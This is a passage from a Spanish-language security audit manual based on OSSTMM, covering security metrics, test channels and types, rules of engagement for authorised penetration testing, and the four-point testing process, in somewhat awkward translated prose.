Definición La falta de precisión de las separaciones y los controles Superficie Ataque funcionales que existen para este vector Un vector es creado con el fin de acercarse a los ensayos de seguridad dentro ámbito complejo en forma organizada. Se basa en el algoritmo de divide y vencerás, paradigma de diseño que consiste en descomponer un problema Vector de Ataque recursivamente en dos o más sub problemas del mismo tipo, o varios que tenga una relación, que los vincule, hasta que éstos lleguen a ser lo suficientemente sencillos, como para ser resueltas directamente. Son medidas que no evitan el daño, pero amortiguan sus efectos, ejemplo de esto son los seguros, en un caso de incendio no pagan la mercancía perdida por efecto del Controles fuego, pero si una parte dada la imposibilidad de obtener el inventario de la mercancía no recuperable por el efecto del fuego. Las limitaciones son cualquier clase de limite y se define como el limite necesario para provocar una acción Limitaciones disuasoria, en el atacante, al requerir mayores capacidades de las disponible en el momento del ataque por parte de este último. Representan un conjunto de acciones destinadas a permitir sólo por los medios aceptados y admitidos según las leyes Operaciones un tipo de operación a realizar como por ejemplo compra o venta de bienes, el acceso a una tienda por una determinada puerta. Seguridad Es el balance perfecto, entre las operaciones, limitaciones Perfecta y Controles aplicado al conjunto de los Activos. Todos los puntos interactivos, donde las operaciones, se Porosidad clasifican como: una visibilidad, un acceso, o un punto de confianza.

Página 254 de 430

Manual de Auditoria para no Auditores 1.1 Seguridad Es una función de separación. Existe la separación entre un activo y cualquier amenaza. Existen 3 maneras lógicas y proactivas para crear esta separación: 1. Mover el activo para crear una barrera física o lógica entre ella y la amenaza. 2. Cambio de la amenaza a un estado considerado como inofensivo 3. Destruir la amenaza. Al analizar el estado de la seguridad podemos ver donde existe la posibilidad de interacción y donde no. Sabemos que algunos, todos, o incluso ninguna de estas interacciones puede ser requerido para las operaciones. Ejemplo en un edificio, algunas de las puertas son necesarios para los clientes y otros para los trabajadores. Sin embargo, cada puerta es un punto interactivo que puede servir para las operaciones necesarias, pero al mismo tiempo puede facilitar las no deseadas, como el robo. Desde el punto de vista del verificador de seguridad, no saben en este instante si existe la justificación de negocio, para todos estos puntos interactivos, nos referimos a esto como la porosidad. La porosidad reduce la separación entre una amenaza y un acceso. Se categorizado como uno de estos tres elementos, visibilidad, acceso y confianza, que describe su función, en las operaciones que permite seguir los controles adecuados que se agregará durante la fase de corrección, o de mejora de la protección. Considere la separación existente entre un activo y sus amenazas, si está correctamente dimensionada, el bien o activo estará adecuadamente protegido. Sin embargo, los aumentos de factores de exposición provocan la disminución de la seguridad por cada elemento agregado. Elemento Visibilidad

Definición La visibilidad se puede expresar como la probabilidad de que un determinado sea atacado en función del beneficio que se obtiene con consecuencia, frente al riesgo que supone su sustracción. Acceso Es una forma de expresar la viabilidad para ser atacado, dañado, sustraído o sustituido por otro activo, el número de puntos de exposición entre el activo / bien y sus amenazas disminuye para cada punto de exposición que se elimina. Responsabilidad La confianza es una parte esencial en la Seguridad Operativa, es necesario que la Responsabilidad que es otra de Confianza pueda ser medible por tanto las medidas de seguridad se miden por la confianza que son capaces de generar respecto a un tipo de Activo frente a un tipo concreto de amenazas.

Página 255 de 430

Manual de Auditoria para no Auditores 1.2 Asegurando la triada de la Información. Se trata de suministrar medidas de apoyo, para garantiza la triada de la Seguridad de la Información: Confidencialidad, Disponibilidad e Integridad aunque, se requerirán más de un conjunto de controles para alcanzar unos niveles aceptables en estos tres vectores, de forma uniforme. Objetivos Confidencialidad

Integridad

Disponibilidad

Seguridad

RAV

Objetivo

Vector

Vulnerabilidad

Controles Privacidad Autenticidad Resiliencia Integridad No repudio Subyugación Continuidad Indemnización Alarma Una forma de protección donde se controlan la amenaza o sus efectos. Los controles deben estar en su lugar para asegurar el activo frente a la amenaza en sí o los efectos de la misma para que se reduzcan al máximo esto es a un nivel aceptable. Este manual cubre la seguridad como “controles”, que son los medios para mitigar los ataques en un entorno operativo o en vivo. El rav es una medida, representa la cantidad de interacciones no controlados contra un objetivo, que se calcula por el equilibrio cuantitativo entre la porosidad, limitaciones y controles. 100 rav representa un perfecto equilibrio entre el activo, sus amenazas, los controles y las limitaciones de estos. Es importante evitar tanto: la falta de controles y sus limitaciones, como el exceso de los mismo, que pueden ser tan perjudiciales, como la propia amenaza en sí, debido al consumo de recursos para su monitorización. Activo tangible o intangible que puede ser atacado mediante uno o varios vectores (vulnerabilidades / debilidades) que poseen y que puede adquirir y manejadas por el atacante. Acciones Físicas o Lógicas cuyo propósito es hacer con la propiedad el control del Activo con independencia de su naturaleza. Cuando una persona o un proceso puede acceder, denegar el acceso a los demás, o se ocultan los activos dentro del alcance

Página 256 de 430

Manual de Auditoria para no Auditores

1.3 Limitaciones Es la incapacidad de los mecanismos de protección para trabajar para hacer frente a los diversos tipos de fallos que pueden ocurrir y se conocen como limitaciones. La limitación por definición es cuando activo protegido no puede mantener sus barreras frente a las amenazas. Las limitaciones se han clasificado en cinco categorías y estas categorías definen el tipo de vulnerabilidad, error, mala configuración o deficiencia por operación. Esto es diferente de cómo se clasifican las limitaciones en la mayoría de los marcos de gestión de seguridad y las mejores prácticas, por lo que utilizamos el término Limitación. En lugar de términos más comunes para evitar la confusión. Estos otros términos se refieren a vulnerabilidades o deficiencias porque están categorizadas por el tipo de ataque o, a menudo, por la propia amenaza. Hay un enfoque sobre el riesgo del ataque. Sin embargo, para eliminar los sesgos de las métricas de seguridad y ofrecer una evaluación eliminamos el uso del riesgo. El riesgo en sí mismo es muy sesgado y, a menudo, muy variable dependiendo del medio ambiente, los activos, las amenazas y muchos más factores. Por lo tanto, bajo OpSec, usamos el término limitaciones para expresar la diferencia de categorizar cómo falla OpSec, en lugar de por el tipo de amenaza. Dado que no se puede conocer el número y el tipo de amenazas, tiene más sentido comprender un mecanismo de seguridad basado en cuándo fallará. Esto permite al Analista probar las condiciones en las que ya no sostienen el nivel necesario de protección. Sólo una vez que tengamos este conocimiento podemos empezar a jugar al juego de las amenazas y riesgos. Entonces también podemos invertir en el tipo apropiado de separación o controles requeridos y crear planes precisos para desastres y contingencias. Limitaciones Para entender mejor cómo las limitaciones encajan en el marco de OpSec, se puede ver observar el siguiente mapa que define como encaja cada una de las diferentes piezas.

Página 257 de 430

Manual de Auditoria para no Auditores Estas operaciones, controles, operaciones de seguridad y limitaciones ya han sido definidas y comentadas en páginas anteriores. Esta asignación muestra cómo las Limitaciones afectan la seguridad y cómo se determinan los valores. Una vulnerabilidad es la falla o error que: (a) niega el acceso a activos para personas o procesos autorizados (b) Permite el acceso privilegiado a activos a personas o procesos no autorizados, o (c) permite que personas no autorizadas Personas o procesos para ocultar activos o ellos mismos dentro del alcance. Esto significa que la vulnerabilidad debe ser mapeado sobre todos los puntos de interacción o OpSec y porque la vulnerabilidad puede circunnavegar o anular el Controles, estos también deben ser considerados en la ponderación de vulnerabilidad. Una debilidad es una falla en los Controles de Clase A sin embargo puede impactar OpSec por lo tanto se asigna a todos los OpSec, Así como ser mapeados a esta clase interactiva de controles. Una preocupación sólo puede encontrarse en los controles de clase B, sin embargo, puede afectar a OpSec, por lo tanto, se asigna a todos OpSec, así como ser asignado a esta clase de proceso de controles. Una exposición nos da inteligencia sobre la interacción con un objetivo y, por lo tanto, los mapas directamente a la visibilidad y acceso. Esta inteligencia también puede ayudar a un atacante a navegar alrededor de algunos o todos los controles y así la exposición también se asigna a ambas clases de control. Por último, la exposición no tiene ningún valor a menos que haya una forma usar esta inteligencia para explotar el activo o un control y así vulnerabilidades, Debilidades y Preocupaciones. También desempeñan un papel en la ponderación del valor de la Exposición. Una anomalía es cualquier elemento no identificable o desconocido que no ha sido controlado y no puede ser contabilizado en operaciones normales. Esta limitación también puede causar anomalías en la forma en que funcionan los controles y por lo tanto también se incluyen en la ponderación. Finalmente, como con una exposición, una anomalía por sí sola no afectan a OpSec, sin la existencia de una vulnerabilidad, debilidad o preocupación que pueda explotar este comportamiento inusual. Además, más de una categoría puede aplicar a una limitación cuando la falla rompe OpSec en más de un lugar. Por ejemplo, un control de autenticación que permite a una persona secuestrar las credenciales de otra persona tiene una debilidad y si las credenciales permiten el acceso, también tiene una vulnerabilidad. En otro ejemplo, un control de autenticación utiliza una lista común de nombres correspondientes a direcciones de correo electrónico. Cada dirección que se puede encontrar o adivinar y utilizar, como un inicio de sesión es una exposición mientras que el propio control tiene una debilidad, por su incapacidad para identificar el usuario correcto del mecanismo de autenticación del inicio de sesión. Si alguna de esas credenciales permite acceso, también lo incluimos como una vulnerabilidad.

Página 258 de 430

Manual de Auditoria para no Auditores Cumplimiento Legal. Bajo la perspectiva de OSSTMM. Que algo sea seguro, es decir este provisto de todas las medidas necesarias para impedir que alguien evadiendo dichas medidas se haga con la propiedad o el control de un activo, no significa que legalmente este cumpliendo todos los requisitos legales exigibles, esto es, lo que viene a expresar es que no toda medida de seguridad, tiene por qué ser legal, aunque debiera ser lo Definiendo exámenes tipos para verificar la seguridad. La seguridad no tiene porqué resultar, ni compleja de definir, ni de gestionar, se debe segmentar en pequeñas partes, que se puedan probar de forma aislada y luego en pequeños conjuntos hasta alcanzar la totalidad es decir la suma de todas las partes por eso siempre, es mejor definir un ámbito limitado, y descomponerlo en partes lo suficientemente pequeñas para ser gestionables, pero no tan pequeñas que pierdan su significado.

Definiendo las pruebas de Seguridad. Pasos para definir las pruebas de Seguridad. 1. Definir lo que desea proteger. Estos son los activos. Los mecanismos de protección de estos activos Los controles son los que se prueba para identificar limitaciones. 2. Identificar el área alrededor de los activos que incluyen los mecanismos de protección y los procesos o los servicios construidos alrededor de los activos. Aquí es donde la interacción con los activos se llevará a cabo. Esta es tu Zona de Enfrentamiento. 3. Definir todo fuera de la zona de compromiso que se necesita para mantener sus activos operativos. Esto puede incluir cosas que usted puede no ser capaz de influir directamente como la electricidad, alimentos, agua, aire, la información, la legislación, los reglamentos y las cosas que usted puede ser capaz de trabajar También contar lo que mantiene la infraestructura de procesos como operacionales, protocolos, y continuaron recursos. Esta es su alcance prueba. 4. Definir cómo su alcance interactúa dentro de sí y con el exterior. Lógicamente compartimentar el activo dentro del alcance a través de la dirección de las interacciones, tales como el interior al exterior, fuera a en el interior, interior a interior, departamento de A a B departamento, etc. Estos son sus vectores. cada vector idealmente debería ser una prueba separada para mantener la duración de cada prueba compartimentada corta en poco mucho cambio puede ocurrir en el medio ambiente. Página 259 de 430

Manual de Auditoria para no Auditores 5. Identificar qué equipos serán necesarios para cada prueba. Dentro de cada vector, puede producirse una interacción en varios niveles. Estos niveles pueden clasificarse de muchas maneras, sin embargo, aquí lo han sido clasificado por función como cinco canales. Los canales son humanos, física, Wireless, Telecomunicaciones y redes de datos. Cada canal debe ser probado por separado para cada vector. 6. Determinar qué información desea aprender de la prueba. Va a estar probando las interacciones con los activos y también la respuesta de las medidas de seguridad activa El tipo de prueba debe ser de forma individual definido cada prueba, sin embargo, hay seis tipos comunes identificados aquí como ciego, doble ciego, El rectángulo gris, gris doble caja, Tándem, y la inversión. 7. Asegurar la prueba de seguridad que haya definido en el cumplimiento de las normas de intervención, una directriz para asegurar el proceso para una prueba de seguridad adecuada sin crear malentendidos, ideas falsas o falsas expectativas. El resultado final será una medida de su superficie de ataque. La superficie de ataque es la parte no protegida del alcance de un vector definido. Alcance de las pruebas de Seguridad. El alcance es el entorno de seguridad de funcionamiento posible total para cualquier interacción con cualquier activo que puede incluir los componentes físicos de seguridad y también las medidas relativas a estas. El alcance se divide en tres clases a través de cinco canales: COMSEC- Telecomunicaciones y Canales de seguridad redes de datos de la clase Canales físicos y la seguridad humana de la clase. PHYSSEC, y toda la gama Canal de seguridad inalámbrica de la clase SPECSEC. Las clases son de denominaciones oficiales Actualmente en uso en la industria de la seguridad, el gobierno y el ejército. Las clases son y se usan para definir un área de estudio, investigación, o la operación. Sin embargo, los Canales son los medios específicos de interacción con los activos. Un activo está dentro de un tipo de certeza (que no debe confundirse, con el riesgo, que no es una certeza, pero sí es una probabilidad) Estas restricciones no incluyen eventos tales como: 1. Una erupción volcánica donde no existe volcán. 2. Un impacto como luz de la luna a través de la ventana del centro de datos. 3. Un impacto global y catastrófico como un impacto por una lluvia de meteoritos.

Página 260 de 430

Manual de Auditoria para no Auditores Mientras que una auditoría de seguridad exhaustiva requiere pruebas de los cinco canales, de manera realista, las pruebas se llevan a cabo y categorizados por la experiencia requerida del analista y el equipo necesario para la auditoría puede ser cualquier cosa que tiene valor para el propietario. Los activos pueden ser propiedad física como el oro, las personas, los planos, los ordenadores portátiles, la típica señal de teléfono de frecuencia de 900 MHz, y el dinero; o propiedad intelectual, tales como el personal de datos, una relación, una marca, procesos de negocio, contraseñas, y algo que se dice sobre la señal de teléfono 900 MHz. A menudo, el alcance se extiende mucho más allá del alcance del propietario de los activos. El alcance requiere que se consideran posibles todas las amenazas, incluso si no es probable. Aunque, debe quedar claro que un análisis de seguridad debe estar restringido a lo que posible. Canales Canal

Clase

Descripción Cualquier interacción entre ellos o entre uno de ellos y activos físicos o Seres Humanos Seguridad lógicos o ambos de forma Física concurrente. PHYSSEC Requiere elementos físicos que Elementos Físicos transmitan fuerza o energía. Cualquier tipo de transmisión englobada dentro del espectro Spectrum Seguridad radioeléctrico y electromagnético Security Transmisiones con independencia de su frecuencia (SPECSEC inalámbricas WIFI y mecanismos de seguridad asociados incluyendo señales. Todas las redes de propagación se señales que utilicen medios o Telecomunicaciones sistemas de señales basados en la telefonía clásica de par de cobre. Seguridad en Comprende todos los dispositivos Comunicaciones Hardware y Software con independencia del medio físicos Redes de Datos para transmitir y recibir datos incluyendo las redes inalámbricas WIFI y Bluetooh Mientras que los canales y sus divisiones pueden estar representados en cualquier forma, dentro de este manual son organizado como medios reconocibles de comunicación e interacción. Esta organización está diseñada para facilitar el proceso de prueba y reducir al mínimo la sobrecarga ineficiente que se asocia a menudo con metodologías estrictas.

Página 261 de 430

Manual de Auditoria para no Auditores Tipos estándar de pruebas de Seguridad OSSTMM Estos seis tipos estándares de prueba difieren en función de la cantidad de información que el probador, sabe / conoce o puede llegar a conocer a acerca de los objetivos o lo que se espera de la prueba, y la legitimidad de la prueba. Algunas pruebas pondrán a prueba la habilidad del probador más que examinar realmente la seguridad de un objetivo.

Ten en cuenta cuando se informa del resultado de la auditoría, a menudo existe un requisito para identificar exactamente el tipo de auditoría realizado. Con demasiada frecuencia, las auditorías basadas en diferentes tipos de prueba se comparan con el seguimiento del delta (desviaciones) de una línea de base establecida del alcance. Si el tipo de prueba exacta no está disponible para un revisor independiente o un regulador, la auditoría en sí, debe considerarse una prueba a ciegas, que tiene menor mérito que una prueba de seguridad completa. Tipo

1

Ciego

2

Doble Ciego

Descripción Es una prueba a ciegas donde el atacante analista conoce todo o casi todo lo relativo a su objetivo y su misión consiste en obtener la máxima información posible utilizando todas las técnicas a su alcance incluyendo los juegos de roll y los juegos de guerra. Es una prueba a de doble ciego donde el atacante / analista desconoce todo o casi todo lo relativo a su objetivo y su misión consiste en obtener la máxima información posible utilizando todas las técnicas incluyendo el uso de códigos maliciosos propios o ajenos para burlar los diferentes niveles de defensa del objetivo. Su objetivo llegar a lo más profundo del sistema su ataque debe ser de tipo sigiloso y dejar

Página 262 de 430

Manual de Auditoria para no Auditores

3

Caja Gris

4

Doble Caja Gris

5

En Tándem

6

Equipo Rojo

puertas instaladas para volver a repetirlo, hasta que se vuelva inviable. Este tipo de prueba evalúa más al atacante que sus efectos en sí, al atacante / analista se facilitan ciertos datos como los canales más permeables y a partir de ahí y de las informaciones obtenidas este busca vulnerabilidades que le permitan lograr mayores privilegios de sistemas y por tanto realizar operaciones no permitidas y tener accesos a datos valiosos para la organización, en realidad es una autoevaluación de vulnerabilidades. Es muy similar anterior, pero en esta se facilita o se descubre de forma intencional al atacante / analista información sensible, respecto a posibles vulnerabilidades existentes. La idea es en realidad, es medir cual es la gravedad de las vulnerabilidades, que no han sido resueltas mediante los correspondientes parches o actualizaciones para conocer el grado de exposición de los activos frente a atacantes cualificados. Es una Auditoria también conocida como Caja Cristalina debido a que todos los datos expuestos, para realizar el test de penetración, son conocidos en toda la extensión y profundidad necesaria para realizar un auténtico ataque y en realidad, lo que se persigue es conoce la eficacia y eficiencia de la estrategia de defensa que se aplicará mientras se desarrolla la prueba, se trata en realidad de medir el comportamiento del equipo de seguridad en respuesta en incidentes que pueden provocar graves impactos en la organización tanto a nivel interno, como a nivel externo (reputación). Es un ataque que utiliza técnicas no habituales y que incluso puede llegar a utilizar técnicas que incluyan motores de inteligencia artificial, para correlacionar defensas y puntos débiles o de exposición por donde ganar privilegios y accesos a recursos de red o bien a bases de datos. Cuyos datos están considerados como activos muy valiosos, para la organización dado que su exposición o relevación supondría indemnizaciones que suponen la desaparición de la organización o llegar a situarla en un punto muy próximo a la misma. Es obvio que el atacante o atacantes cuentan con o uno varios contactos dentro de la organización infiltrados, con el fin de identificar dichas informaciones valiosas y los medios de defensa que las protegen por ejemplo medidas físicas y lógicas también para buscar la mejor manera de atacarlas o romper dichas medidas lo que supone que hay un equipo exprofeso para hacer frente a este tipo de Página 263 de 430

Manual de Auditoria para no Auditores ataques frenarlos y reconocer a los infiltrados y por tanto los objetivos buscados por los atacantes. 1. Reglas de enfrentamiento. Estas reglas definen las directrices operativas de las prácticas aceptables en la comercialización y venta de las pruebas, la realización de trabajos de ensayo, y la manipulación de los resultados de las pruebas. 2. Ventas y Marketing El uso del miedo, la incertidumbre, la duda y el engaño no se pueden usar en las ventas o presentaciones, de sitios web, materiales de apoyo, informes, o discusión de las pruebas de seguridad con el fin de vender o proporcionar pruebas de seguridad. Esto excluye todo tipo de acción promocional sobre delitos, hechos, perfiles criminales o hackers glorificados, y las estadísticas de motivar a las ventas. Se prohíbe el ofrecimiento de servicios gratuitos en caso de no lograr penetrar en el objetivo. 3. Quedan prohibidas todas las prácticas relativas a craqueo, piratería y presentación a concursos en empresas públicas para promover mediante el uso del medio la garantía de la seguridad. 4. Queda prohibido salvo autorización del cliente final hacer uso del nombre del mismo, debiendo en caso de estar autorizado a dicho uso explicitar el tipo de producto / servicio adquirido por el cliente, guardando la debida discreción respecto a cualquier dato que pueda revelar vulnerabilidades del mismo, como por ejemplo versión, año de venta, etc. 5. Se deberá mantener en todo momento una conducta ética, que no omita datos relevantes o de críticos a la seguridad, durante todo el proceso de evaluación y venta de productos / servicios de seguridad. Debe explicitarse de forma legal en caso de test de ataque, durante cuánto tiempo se puede realizar el mismo y que se consideran daños aceptables, por parte de la víctima, así como a la reposición de los datos sustraídos durante el ataque permitiendo a la organización sujeto del ataque verificar la destrucción de las copias de los datos obtenidos de forma ilícita, así como a verificar la destrucción de todas las copias de seguridad de los mismos, incluyendo los almacenados en ubicaciones físicamente distintas de las de las empresas participantes, durante el proceso de evaluación de la seguridad y esto incluye los sistemas de almacenamiento en la nube. 6. Con o sin un contrato de acuerdo de confidencialidad, la seguridad Se requiere al Analista o al equipo de Analistas contrato de confidencialidad y no divulgación de información del cliente (debe de guardar secreto) y de prueba resultados.

Página 264 de 430

Manual de Auditoria para no Auditores 7. Los contratos deben explicar claramente los límites y peligros de la prueba de seguridad como parte de la declaración de trabajo. 8. En el caso de las pruebas se realicen a distancia, el contrato debe incluir el origen de los datos de los analistas dirección ip, número de teléfono o la dirección física. 9. El cliente debe proporcionar una declaración firmada que proporciona el permiso para las pruebas eximir los analistas de culpa dentro del alcance, y daños a la responsabilidad del costo del servicio de auditoría, con la excepción de que la actividad maliciosa se ha demostrada. 10. Los contratos deben contener los nombres de contacto y números de teléfono de emergencia. El contrato debe incluir permisos claros, específicos para las pruebas que implican fallos de supervivencia, denegación de servicio, pruebas de proceso, y la ingeniería social 11. Los contratos deben contener el proceso de para el futuro contrato y estado de cambios de trabajo. 12. Los contratos deben contener verificados conflictos de intereses para una prueba de seguridad de hecho y de informe. Definición del Alcance 1. El alcance debe estar claramente definida contractualmente antes de verificar servicios vulnerables. 2. La auditoría debe explicar claramente los límites de las pruebas de seguridad de acuerdo con el ámbito de aplicación. Plan de prueba. El plan de pruebas puede no contener los planes, procesos, técnicas o procedimientos que están fuera del área de especialización o nivel de competencia del analista. Proceso de prueba. 1. El analista debe respetar y mantener la seguridad, la salud, el bienestar y la privacidad de los ciudadanos tanto dentro como fuera del ámbito de aplicación. 2. El analista debe funcionar siempre dentro de la ley de la ubicación física de los objetivos además de las normas o leyes que rigen lugar de la prueba del analista. 3. Para evitar aumentos temporales en la seguridad durante la duración de la prueba, solamente notificar a las personas clave acerca de la prueba. Es el juicio del cliente, que discierne quiénes son las personas clave son; Página 265 de 430

Manual de Auditoria para no Auditores sin embargo, se supone que van a ser las políticas de información y los administradores de procesos de seguridad, el personal de respuesta a incidentes, y el personal de operaciones de seguridad. 4. Si es necesario para la prueba privilegiada, el cliente debe proporcionar dos fichas, por separado, de acceso ya sean contraseñas, certificados, números de identificación segura, insignias, etc. y se debe ser típico para los usuarios de los privilegios están probando en lugar de accesos especialmente vacíos o seguras. 5. Cuando la prueba incluye privilegios conocidos, el analista debe primero prueba sin privilegios (tales como en un entorno de recuadro negro) antes de la prueba de nuevo con privilegios. 6. Los analistas están obligados a conocer sus herramientas, y cómo funcionan las herramientas, y se los puso a prueba en un área restringida área de prueba antes de usar las herramientas de la organización del cliente. 7. La realización de los ensayos que están destinados expresamente para probar la negación de un servicio o proceso o supervivencia sólo se puede hacer con el permiso explícito y sólo al alcance donde no se hace daño fuera del alcance o de la comunidad en la que reside el alcance. 8. Pruebas con personas sólo pueden realizarse en los identificados en el alcance y pueden no incluir los particulares, clientes, socios, asociados, u otras entidades externas sin el permiso por escrito de esas entidades. 9. Limitaciones verificadas descubiertas, vulnerabilidades con tasas conocida o alta de explotación, vulnerabilidades que son explotables por completo, sin control o el acceso imposible de encontrar, o que puedan poner en peligro la vida de inmediato, descubierto durante las pruebas deben ser comunicadas al cliente con una solución práctica, tan pronto como se encuentran. 10. Cualquier forma de prueba de inundación está prohibido a través de canales públicos o sea no sean de propiedad privada. 11. El analista no podrá salir del alcance en una posición de menor seguridad real de lo que era cuando se proporcionan. Presentación de Informes. 1. El analista debe respetar la privacidad de todas las personas y mantener su privacidad para todos los resultados. 2. Los resultados que involucran a personas sin formación en el personal de seguridad o no de seguridad, sólo pueden ser reportados a través de medios no identificable o estadísticos. Página 266 de 430

Manual de Auditoria para no Auditores

3. El analista no puede firmar, los resultados de pruebas e informes de auditoría, en el que no estaban involucrados directamente. 4. Los informes deben ser objetivo y sin falsedades o ninguna malicia dirigido personalmente. 5. Se requieren notificaciones de clientes cada vez que el analista cambia el plan de pruebas, cambia el lugar de la prueba de origen, tiene resultados bajos de confianza, o haber ocurrido algún problema de prueba. Las notificaciones deben ser proporcionados a la anterior la ejecución de pruebas de tráfico nuevas, peligrosas, o altas, y las actualizaciones regulares del progreso son obligatorios. 6. Cuando las soluciones y recomendaciones, se incluyen en el informe, que debe ser válido y práctico. 7. Los informes deben marcar claramente, todas las incógnitas y las anomalías. 8. Los informes deben indicar los dos claramente descubierto éxito y han fracasado las medidas de seguridad y controles de pérdida. 9. Los informes deben utilizar sólo las métricas cuantitativas, para medir la seguridad. Estas métricas deben basarse en hechos y vacío de interpretaciones subjetivas 10. El cliente debe ser notificado cuando el informe, se envía como para esperar su llegada y para confirmar la recepción de la entrega. 11. Todos los canales de comunicación, para la entrega del informe deben ser de extremo a extremo confidencial. 12. Resultados e informes no pueden ser utilizados con fines comerciales más allá de la interacción con el cliente. El proceso operativo de Pruebas de Seguridad ¿Por qué las operaciones de prueba? Por desgracia, no todo funciona como se configuró. No todo el mundo se comporta como entrenado. Por lo tanto, la verdad de la configuración y la formación es en las operaciones resultantes. Es por eso que necesitamos para poner a prueba las operaciones. El proceso de prueba OpSec es una prueba de eventos discretos de un sistema dinámico, estocástico. Esto significa que se van a realizar una secuencia cronológica de pruebas en un sistema que cambia y no siempre dan la misma salida para la entrada proporcionada.

Página 267 de 430

Manual de Auditoria para no Auditores El objetivo es un sistema, una colección de interactuar y los procesos de codependientes que también está influenciada por el medio ambiente estocástico existente. Ser estocástico significa que el comportamiento de los eventos en un sistema, no puede determinarse debido a que el siguiente estado del medio ambiente sólo puede ser parcial pero no totalmente determinado por el estado anterior. El sistema contiene un número finito, pero posiblemente extremadamente grande de variables y cada cambio en las variables pueden presentar un evento y un cambio de estado. Dado que el medio ambiente es estocástico, hay un elemento de aleatoriedad y no hay medios para predeterminar con certeza cómo todas las variables afectarán el estado del sistema. La mayor parte de lo que la gente entiende de OpSec proviene del aspecto defensivo lo cual es comprensible ya que la seguridad es generalmente considerada, como una estrategia defensiva es relegado a continuación, pruebas agresivas de OpSec a la misma clase que la explotación y la elusión del diseño o la configuración actual. Sin embargo, el problema fundamental de esta técnica es que un diseño o configuración no equivale a operación. Nos encontramos con muchos casos en la vida donde la operación no se ajusta a la configuración. Un ejemplo sencillo es una descripción típica de trabajo. Es más común de lo que se piensa o cree, también conocida como una descripción del trabajo, está a la altura de la realidad que refleja lo que hacemos en el trabajo. Otro ejemplo es el canal de TV. Debido a que un canal está ajustado a una frecuencia particular (configurada) no significa que vayamos a recibir el programa transmitido por ese canal, o sólo ese programa. Esta metodología de pruebas de seguridad está diseñada en el principio de la verificación de la seguridad de las operaciones. Aunque no siempre puede probar los procesos y políticas directamente, una prueba exitosa de las operaciones se permitir el análisis tanto de los datos directos e indirectos para estudiar la brecha entre operaciones y procesos. Esto le mostrará el tamaño de la brecha entre lo que la dirección espera de las operaciones de los procesos que se desarrollan y lo que realmente ocurre. Más en pocas palabras, el objetivo del analista es responder: “¿Cómo funcionan las operaciones actuales y cómo funcionan de manera diferente a como piensa gestión ¿trabajan?" Un punto de la nota es la extensa investigación disponible sobre control de cambios de procesos para limitar la cantidad de eventos indeterminable en un sistema estocástico. El analista a menudo intente sobrepasar las restricciones de control de cambios y del presente “y si” los escenarios, que los ejecutores de control de cambio no haber considerado. Una comprensión profunda de control de cambios es esencial para cualquier analista. Por consiguiente, una prueba de seguridad operacional requiere una comprensión completa del proceso de pruebas, elegir el tipo correcto de prueba, el reconocimiento de los canales y los vectores de prueba, la definición del alcance de acuerdo para el índice correcto, y aplicando la metodología adecuada. Curiosamente, en ninguna parte, además de en las pruebas de Página 268 de 430

Manual de Auditoria para no Auditores seguridad es el proceso de eco considerada la prueba de facto. Al igual que grita en un área cavernosa y en espera de la respuesta, el proceso requiere la interacción de eco y a continuación, el seguimiento de las emanaciones de la diana para los indicadores de un estado particular, tales como seguros o inseguros, vulnerable o protegido, o fuera de, y hacia la izquierda o derecha. El proceso de eco es de una causa y tipo de efecto de la verificación. El analista hace la causa y se analiza el efecto sobre el objetivo. Es extraño que este es el principal medio de pruebas de algo tan importante como la seguridad porque, aunque lo convierte en una prueba muy rápida, también es muy propensa a errores, algunos de los cuales pueden ser devastadores para el objetivo. Tengamos en cuenta que en una prueba de seguridad utilizando el proceso de eco, un objetivo que no responde se considera seguro o sólo tiene que responder a un tipo concreto de solicitud, para dar el aspecto de la seguridad, sin embargo todavía ser completamente interactivo con otros tipos de peticiones que muestra no ha habido separación. Si los hospitales utilizan el proceso de eco, para determinar la salud de un individuo, sería rara vez ayudan a las personas, pero al menos el tiempo de sala de espera sería muy corto. Sin embargo, como la mayoría de otras industrias científicas, aplicar el proceso de cuatro puntos que incluye una función del proceso de eco llamada la “interacción” como una de las cuatro pruebas. Los otros tres ensayos son: el “investigación” de leer emanaciones del paciente tales como el pulso, la presión sanguínea, y las ondas cerebrales; la “intervención” de cambiar y haciendo hincapié en las condiciones de funcionamiento, tales como la homeostasis del paciente, el comportamiento, O nivel de comodidad de rutina; y la “inducción” de examinar el entorno y la forma en que puede haber afectado el objetivo tales analizar lo que el paciente ha interactuado con, tocado, comido, bebido, o aspiró. Sin embargo, en las pruebas de seguridad, la mayoría de las pruebas se basan en el proceso de eco solo. Hay tanta información perdida en dicha prueba unidimensional debemos estar agradecidos de que la industria de la salud ha evolucionado más allá de sólo el “¿Le duele si hago esto?” manera de diagnóstico. El proceso de prueba de seguridad en esta metodología no recomienda el proceso de eco solo para obtener resultados fiables. Si bien el proceso de eco puede ser utilizado para ciertas pruebas, en particular en que el margen de error es pequeño y el aumento de la eficiencia permite un tiempo para ser trasladado a otras técnicas que requieren mucho más tiempo, no se recomienda para las pruebas fuera de un entorno determinista. El analista debe elegir cuidadosamente cuándo y bajo qué condiciones para aplicar el proceso de eco. Si bien existen muchos procesos de prueba, el Proceso de cuatro puntos para las pruebas de seguridad está diseñado para una eficiencia óptima, precisión y rigor para asegurar la validez de la prueba y minimizar los errores en incontrolada y ambientes estocásticos.

Página 269 de 430

Manual de Auditoria para no Auditores Está optimizado para escenarios de prueba en el mundo real. Mientras que también utiliza la agitación, se diferencia del proceso de eco, ya que permite para la determinación de más de una de las causas por efecto y más de un efecto por la causa. El proceso de cuatro puntos (4PP) se rompe una prueba de principio a final. Estas son cosas que un grupo de pruebas experimentado ya hace. No hay que confundir la formalidad en la disección del proceso con la formalidad de la presentación de informes. Usted no tiene que mostrar cada paso se realiza, sino que debe comprender cómo ha llegado de la A a C. Es como darle a la gente que conduce direcciones. Usted les dice los pasos en donde se doblan y relativa proximidad a las cosas que verá, que saber, que van por el camino correcto, pero no les diga todas las calles que conducen hacia abajo y cada señal de tráfico que deben obedecer a llegar hasta el final. Pues bien, el 4PP es las direcciones específicas y los medios, así como los informes son en realidad los relativistas. La tetralogía de los procesos de seguridad.

